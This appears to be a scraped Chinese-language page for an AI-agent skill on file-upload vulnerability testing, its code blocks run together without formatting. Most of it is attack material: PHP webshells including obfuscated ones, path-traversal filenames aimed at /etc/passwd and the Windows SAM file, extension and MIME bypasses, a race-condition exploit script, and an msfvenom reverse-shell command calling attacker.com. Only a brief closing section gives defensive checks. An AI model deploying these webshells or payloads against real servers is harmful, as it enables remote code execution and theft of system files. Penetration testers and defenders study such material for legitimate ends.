Loading...
Loading...
文件上传漏洞测试的专业技能和方法论
npx skill4agent add ed1s0nz/cyberstrikeai file-upload-testing// 可被绕过
if (!file.name.endsWith('.jpg')) {
alert('只允许上传图片');
}// 危险代码
if (pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION) == 'jpg') {
move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $filename);
}filename: ../../../etc/passwd
filename: ..\..\..\windows\system32\config\samuploads/1.jpg
uploads/2.jpgshell.php.jpg
shell.jpg.phpshell.PHP
shell.PhPContent-Type: image/jpeg
# 但文件内容是PHP代码// 在PHP代码前添加图片头
GIF89a<?php phpinfo(); ?>shell.php.xxx # Apache可能解析为PHPshell.asp;.jpg
shell.asp:.jpgshell.jpg%00.php# 上传.php文件,在上传完成但删除前访问
import requests
import threading
def upload():
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
requests.post('http://target.com/upload', files=files)
def access():
time.sleep(0.1)
requests.get('http://target.com/uploads/shell.php?cmd=id')
threading.Thread(target=upload).start()
threading.Thread(target=access).start()<?php system($_GET['cmd']); ?><?php eval($_POST['a']); ?><?php
$_GET['cmd']($_POST['a']);
// 使用: ?cmd=systemAddType application/x-httpd-php .jpgGIF89a
<?php
phpinfo();
?># 使用工具将PHP代码嵌入PNG
python3 png2php.py shell.php shell.png# 上传包含PHP代码的图片
# 然后通过文件包含执行
?file=uploads/shell.jpgshell.php.jpg
shell.php;.jpg
shell.php%00.jpgshell.PHP
shell.PhPshell.php.
shell.php
shell.php%20Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif// JPEG
\xFF\xD8\xFF\xE0<?php phpinfo(); ?>
// GIF
GIF89a<?php phpinfo(); ?>
// PNG
\x89\x50\x4E\x47<?php phpinfo(); ?><?= system($_GET['cmd']); ?><?php
$a='sys';
$b='tem';
$a.$b($_GET['cmd']);# 使用各种技术测试文件上传
python upload_bypass.py -u http://target.com/upload -f shell.php# 生成各种WebShell
msfvenom -p php/meterpreter/reverse_tcp LHOST=attacker.com LPORT=4444 -f raw > shell.phpALLOWED_EXTENSIONS = {'jpg', 'png', 'gif'}
ext = filename.rsplit('.', 1)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError("File type not allowed")import magic
file_type = magic.from_buffer(file_content, mime=True)
if not file_type.startswith('image/'):
raise ValueError("Invalid file content")import uuid
filename = str(uuid.uuid4()) + '.' + extMAX_SIZE = 5 * 1024 * 1024 # 5MB
if file.size > MAX_SIZE:
raise ValueError("File too large")